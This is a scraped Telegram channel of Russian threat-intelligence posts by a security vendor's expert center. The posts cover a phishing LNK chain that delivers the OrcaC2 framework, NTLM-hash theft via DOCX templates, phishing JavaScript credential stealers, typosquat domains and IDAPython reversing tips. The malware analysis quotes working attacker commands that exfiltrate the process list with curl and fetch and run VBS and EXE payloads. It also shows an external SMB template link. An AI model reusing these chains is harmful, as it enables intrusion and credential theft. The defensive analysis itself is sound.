ESCalator
6.56K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Лок'тар огар! 👺

В современном мире атаки, направленные на получение первоначального доступа, стали более сложными. Злоумышленники используют многоступенчатую полезную нагрузку, что позволяет им постепенно продвигаться к своей цели, не вызывая подозрений, и увеличивает шансы на успех атаки.

Одним из наиболее популярных механизмов для инициации такой атаки являются LNK-файлы. При их запуске начинается выполнение цепочки скриптов, каждый из которых запускает следующий элемент цепочки, скачивая его с удаленного узла или распаковывая из собственных ресурсов.

🔗 В качестве характерного примера рассмотрим одну такую цепочку. Наше внимание она привлекла несколькими факторами:

1️⃣ Использование легитимного ресурса как хоста для полезной нагрузки.

2️⃣ Использование необычного фреймворка в качестве полезной нагрузки (необычного в том смысле, что до этого мы ни разу не видели его в атаках).

В ходе исследования наш отдел нашел ZIP-архив — вложение для фишингового письма, представленного на скриншоте выше. Внутри — два документа и LNK-файл со скриптом. Содержимое скрипта показано ниже (домен, с которого скачивалась нагрузка, намерено изменен):

"C:\Windows\System32\conhost.exe"
conhost conhost cmd /c expand C:\Windows\system32\curl.exe C:\Users\public\Downloads\cl.exe & tasklist |
curl -k -X POST --data-binary @- -A "PLMN ~%date% ~%time%" https://example.com -o C:\Users\public\Downloads\No15.vbs
&& wscript C:\Users\public\Downloads\No15.vbs


Любопытно, что полезная нагрузка скачивается с легитимного домена российской образовательной организации. По всей видимости, злоумышленники заранее взломали учреждение и начали использовать его ресурсы для своих атак.

🕵️‍♂️ Цепочка атаки раскрывается следующим образом:

-> LNK-файл.
-> Скрипт No15.vbs. Он собирает сведения об установленных антивирусах и скачивает .exe. Код скрипта:

Set oj = CreateObject("WScript.Shell")
oj.Run "cmd /c curl -k https://example.com
fileid=PLMN -o C:\Windows\temp\2024_Determination_to_initiate_a_case.docx
C:\Windows\temp\2024_Determination_to_initiate_a_case.docx", 0, False
oj.Run "cmd /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
C:\Users\Public\Downloads\cl.exe -k -X POST --data-binary @- https://example.com
get=1PLMN1731912032 -o C:\Users\public\Downloads\libPLMN1731912032.exe",0,True
oj.Run "C:\Users\public\Downloads\libPLMN1731912032.exe"


-> libPLMN1731912032.exe — исполняемый файл, написанный на языке Go, сборка пакета которого имеет название Pinocchio. Именно этот бинарь и является сборкой клиента (в терминологии проекта — puppet) OrcaC2.

🧐 Далее приведем описание основной функциональности:

• Удаленное выполнение команд.
• Загрузка и выгрузка файлов.
• Кейлоггер + снятие скриншотов экрана.
• Прямой и обратный прокси-сервер.
• Коммуникация через WebSocket.

На самом деле возможностей у OrcaC2 куда больше. Подробный список можно найти в GitHub-репозитории проекта (осторожно, README написан на китайском языке).

Сам же фреймворк разделяется на три «модуля»:

Puppet — клиентская часть, запускается на устройстве жертвы.
Master — подключается к серверу, через него управляет клиентами.
Server — связующее звено между Pupper и Master.

IoCs:

46c0fd35e4699265db0223cee00b3da48ec157e2d7a51590c87b077918f76d5b — ZIP-архив.
88aa1bd65a6ff5d92ac7041e9685c20e08286709971881660df9c0f4a04c06db — LNK-файл.
0ed459cf2682b12d95613ca8f1f1b9d71bcc529c681f8a2a0ec347bba7d8f4b6 — скрипт No15.vbs.
601f00162583c82d933ad27ec6b3f900d2efde81a1f4cf3724e5cfc4875305cb — libPLMN1731912032.exe.
http://45.147.200.38:443 — C2-сервер.


#hacktool #phishing #ioc #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍157
Ваш хеш, пожалуйста… Спасибо! 🙏

В начале января мы обнаружили файл, который привлек внимание своим содержанием и структурой. Исследование метаданных документа, а также используемых техник соединения с сервером по протоколу SMB через DOCX-файлы позволило установить связь с хакерской группировкой PhaseShifters. Информацию о ней мы публиковали в статье в ноябре 2024 года (рисунок 1). В этой статье также подробно описаны взаимосвязи с группировкой UAC-0050, о которой пойдет речь далее.

🆕 С2-сервер новый, подход старый

Первый файл, про который хочется поговорить, — декой. Он содержит фотографию (рисунок 2) документа, якобы принадлежащего одной компании в сфере военно-промышленного комплекса (создание БПЛА).

Как и в предыдущих атаках, внутри документа есть ссылка-шаблон, с помощью которой происходит получение хеш-сумм NTLM пользователя. Такая техника называется Forced Authentication: посредством шаблона или взаимосвязей с внешними сущностями устройство устанавливает соединение с сервером злоумышленников по протоколу SMB, из-за чего Windows автоматически пытается провести аутентификацию на этом ресурсе.

В файле присутствует обращение к SMB-ресурсу на внешнем сервере 45.155.249.126. Активность сервера наблюдается с ноября 2024 года, соединение происходит через механизм связей (relations) частей WordprocessingML-документа:

<ns0:Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file://\\45.155.249.126\19i6LJ4qNx81SkAFg4mtUbf5.png" TargetMode="External" /></ns0:Relationships>


👤 Поискав другие файлы, связанные с этим IP-адресом, мы выявили еще несколько документов-приманок для атак на организации (рисунки 3–5). Кроме того, стоит отметить важную деталь: в метаданных указано имя пользователя, создавшего или последним изменившего документ, — kib vol.

Наличие связи с внешним SMB-сервером, а также уникальные метаданные позволили зацепиться за еще один файл, который, в свою очередь, связывался с другим IP-адресом (31.214.157.167) злоумышленников — АО-******- -12904ДО.docx. Этот документ был задействован в атаках с использованием Ozone RAT и Darktrack RAT, которые также описаны у нас в статье (рисунок 1).

Просмотрев подсеть 31.214.157.0/24, можно определить как минимум еще один IP-адрес, который замечен в подобных инцидентах, — 31.214.157.49. Этот сервер задействовался в атаках как PhaseShifters (например, ГВПК ответ цифровому развитию.docx), так и UAC-0050 (с использованием домена tax-gov-ua.com). Напомним, что сходства этих двух группировок все еще требуется тщательно исследовать.

IoCs

С2-серверы:

45.155.249.126
31.214.157.167
31.214.157.49


SHA-256:

3172bf0dd76232fc633214f0ba92b25d27b136a2ed5d9e4e7d06b0686ef4d34c
3eca76737c6aee34b4c38845fde13bceed23a31d39e958893a44f42380ff84d5
fd50307b7f08d037c5d37f2505c8de6edc9c57e1843f4434309a135f4b43ff5c
5061e83a380a9c3ebe91bd5de80fe8f11b666a182efbebe13a1b0dfbc2842487


#TI #C2 #ioc #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥29👍10👏92
Как давно ты реверсил JavaScript? 😲

Продолжая тему фишинга (ранее мы смотрели на таргетированные подозрительные документы, приводящие к получению первоначального доступа или сбору NTLM-хешей), хотим показать примеры свежих атак, направленных на массового пользователя, привыкшего пользоваться продуктами известной компании Microsoft.

Посмотрим, как злоумышленники генерируют поддельные HTML-страницы, мимикрирующие под формы ввода аутентификационных данных, с точки зрения JavaScript-кода и применяемых техник обфускации, и даже найдем интересные пасхалки от фишеров.

1️⃣ Первый пример

Самым примитивным примером из сегодняшней подборки является использование конструкции:

document.write(unescape(atob(


Внутри нее зашит внешний подгружаемый скрипт flyit.com.ar/wp-includes/certificates/js_host/outlk.js, который содержит в себе jQuery библиотеку и дополнительный код, отправляющий на campusmin.sitb.edu.ar/completion/classes/php_host/_xls3.php?_do=xxx_form креды пользователя.

Минутка ликбеза: функция atob позволяет декодировать base64-строку, а document.write записывает содержимое аргумента в DOM активной страницы, подменяя ее текущее содержимое. В данном случае обфускация минимальная — в основном используется только сжатие (минификация).

2️⃣ Второй пример

Это более интересный пример, поскольку он содержит много обфусцированного кода. Передаваемая пользователю HTML-страничка содержит только обфусцированный скрипт, который исполняется уже на стороне браузера.

Бесплатные деобфускаторы не справляются с преобразованием кода, поэтому прибегнем к ручному реверсу JavaScript: используемые выделенные функции, методы atob и document.write формируют веб-страницу, которая впоследствии подгружает скрипт с 7354770595-1323985617.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js (обфусцирован с помощью бесплатного сервиса obfuscator.io), где как раз и содержится сбор кредов пользователя. Затем логин и пароль отправляются на C2 злоумышленников — miguel.uscourtaccess.com/next.php.

Сможете найти пасхалочки на скрине? 😏

3️⃣ Третий пример

В третьем случае для формирования поддельной страницы, представляющую собой брендированную версию стандартной формы ввода аутентификационных данных, используется фишинговый набор WikiKit. Он получил свое название за перенаправления на Википедию в случае отключенного в браузере JavaScript или недействительной фишинговой ссылки. Этот скрипт блокирует использование отладочных средств (хотя обойти их в целом несложно), а собранные данные отправляются на cotceur.com.

Какие у нас рекомендации? 🧐

Кроме «не открывать файлы из подозрительных писем», что кажется неактуальным для этого канала (нам же наоборот интересно их открыть), приведем ряд простых, но важных поинтов, на которые точно стоит обращать внимание при анализе веб-страниц:

на вкладке Network браузера проверяйте origin подгружаемых дополнительных ресурсов, все-таки jQuery лучше получать с легитимного домена jQuery или известного CDN.

использование функции atob (декодирование base64), еще и с

aHR0cHM6
aHR0cDo


внутри (в результате декодирования получается https: или http:) — поистине страшная смесь! А если добавить к этому document.write (добавления контента в html-документ) и unescape (устаревший метод для декодирования URI) — это точно редфлаг 🚩

антидебаггинг, конечно, используется в легитимных целях, но очень редко: стоит задуматься, если встречаете его (эти техники, кстати, можно обойти довольно легко — к примеру, в случае третьего фишинга использовать не горячие клавиши вроде F12 или Ctrl+Shift+i, а вручную открыть инструменты в настройках или записать трафик).

💡 Хотим отметить, что не стоит видеть подозрительность везде — например, сжатие кода и популярные виды обфускации часто используют в легитимных проектах! Решили поразбирать JS-код сами just for run и увидели странный POST-запрос? Будем верить, что вы указали фальшивый пароль 🤞🏻

Happy hunting!

#hunt #network #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍962🤩1
Forwarded from CyberSquatting RU Alerts
Красивое 😏

ptsecuriity[.]ru
ptsecurit[.]ru
ptsecuriti[.]ru
ptsecuritty[.]ru
ptsecuritu[.]ru
ptsecuritya[.]ru
ptsecurityy[.]ru
ptsecuriy[.]ru
ptsecurrity[.]ru
ptsecurtiy[.]ru
ptsecurty[.]ru
ptsecuruty[.]ru
😁21🥰5👏5
😁35👍7🌚7🤷‍♂4🔥2
Три главных слова — CALL FOR PAPERS

Друзья, настал тот самый момент: открылся CFP на киберфестиваль PHDays! Традиционно PT ESC готовит секцию Defense, и мы с нетерпением ждем ваших докладов.

Тематика секции охватывает следующие направления:

• Incident response
• Threat intelligence
• Threat hunting
• OSINT
• SOC
• Malware analysis
• Dark web monitoring
• Vulnerability Management


Но мы будем рады любой теме, которая так или иначе относится к blue team.

Приходите рассказать об интересных атаках, ваших исследованиях APT-группировок, новых подходах, инструментах и последних трендах в выявлении угроз. Длительность докладов — до 50 минут. Каждый спикер получит набор фирменного мерча PHDays 🎁

Оставить заявку можно на сайте CFP до 28 февраля. Не забудьте выбрать трек Defense.

До встречи на киберфестивале! 😎

@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍9👀4👏2
Стиль гадюки 🐍

Может ли злоумышленник использовать всем известные инструменты и оставаться незамеченным более полутора лет? Наш ответ — да.

В середине октября 2024 года департамент киберразведки экспертного центра безопасности Positive Technologies (PT Expert Security Center) зафиксировал таргетированную рассылку Revenge RAT, нацеленную на сотрудников финансовых подразделений российских компаний.

Особое внимание привлекли необычные африканские названия управляющей инфраструктуры злоумышленников. Углубившись в исследование, мы выявили и отследили новую, ранее не описанную APT-группировку, атакующую российские компании как минимум с мая 2023 года.

В связи с использованием африканских названий, регулярными обновлениями семплов и приманок, «пятнистостью» названий вредоносных файлов и продолжительной скрытностью в киберпространстве мы назвали группировку DarkGaboon — в честь африканской габонской гадюки, которую можно встретить в окрестностях стратовулкана Килиманджаро.

😏 Подробнее о группировке и ее техниках вы можете прочитать в исследовании на нашем сайте.

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28👍1110🤡3🆒1
Статический резолв импортов 👨‍💻

Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.

😠 На примере DodgeBox рассмотрим резолв, который заключается в вычислении адреса API-функции и помещении его в глобальную структуру. Реализация — на скрине 3.

Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.

Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.

Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам get_proc_by_hash и извлечет ее аргументы.

def get_hashes(resolve_API_addr, get_proc_by_hash_addr):
result = []
func: ida_funcs.func_t
func = ida_funcs.get_func(resolve_API_addr)

cur = func.start_ea
while cur < func.end_ea:
if get_operand_value(cur, 0) == get_proc_by_hash_addr:
result.append(get_args(cur))
cur = ida_search.find_code(cur, SEARCH_DOWN)

return result


Функция get_args поднимается на несколько шагов вверх от операции call и извлекает аргументы.

def get_args(call_addr):
func_name_hash = None
lib_name = None

cur = call_addr
True:
if print_insn_mnem(cur) == "mov" and print_operand(cur, 0) == "r8d":
func_name_hash = get_operand_value(cur, 1) & 0xFFFFFFFF
elif print_insn_mnem(cur) == "lea" and print_operand(cur, 0) == "rcx":
lib_name = ida_bytes.get_strlit_contents(get_operand_value(cur, 1), -1, STRTYPE_C_16).decode()

if func_name_hash and lib_name:
return lib_name, func_name_hash

cur = ida_search.find_code(cur, SEARCH_UP)


На выходе get_hashes получим список, который используем для заполнения структуры API. Основная функция будет выглядеть так:

struc: ida_struct.struc_t = ida_struct.get_struc(ida_struct.get_struc_id("API"))

funcs = get_hashes(0x180007A90, 0x1800078E0)
for i in range(1, len(funcs) + 1):

lib_name, func_name_hash = funcs[i - 1]
member: ida_struct.member_t = struc.members[i]

func_name = get_func_name(lib_name, func_name_hash, winapi_hashes_dict)
if func_name:
ida_struct.set_member_name(struc, member.soff, func_name)
func_tinfo = get_func_tinfo(func_name)
if func_tinfo:
ida_struct.set_member_tinfo(struc, member, 0, func_tinfo, 0)


Функция get_func_name проста в реализации, она находит в словаре имя API по хеш-сумме. А вот get_func_tinfo более интересна: она создает объект, содержащий прототип функции, который мы также применим к члену структуры.

def get_func_tinfo(func_name):
tinfo = ida_typeinf.get_named_type(None, func_name, 0)
if tinfo:
type_s = tinfo[1]
field_s = tinfo[2]
t = ida_typeinf.tinfo_t()
t.deserialize(None, type_s, field_s)
t.create_ptr(t)
return t
else:
return None


Функция ida_typeinf.get_named_type получает информацию о типе, который содержится в Type Library (*.til). Вызов выглядит так:

Python>get_func_tinfo("GetWindowsDirectoryW")
UINT (__stdcall *)(LPWSTR lpBuffer, UINT uSize)


Однако на самом деле функция возвращает объект типа ida_typeinf.tinfo_t.

Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.

Есть, конечно, соблазн написать функцию make_beautifully, которая сама вычитает офсеты, создаст структуру и члены внутри нее, но об этом в другой раз.

#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2310👍10
Инструменты для работы с Python 😦

Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.

Команда Supply Chain Security собрала памятку по работе с инструментами PyInstaller, py2exe и со скомпилированными файлами .pyc.

PyInstaller

Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.

Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.

Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.

py2exe

Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.

Файлы .pyc

На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.

1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.

2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.

3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...

4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны 🐱🐱🐱

Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):

Decompiler.com — мультифункциональный, «под капотом» uncompyle6.

PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.

Happy hacking!

#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥1510❤‍🔥1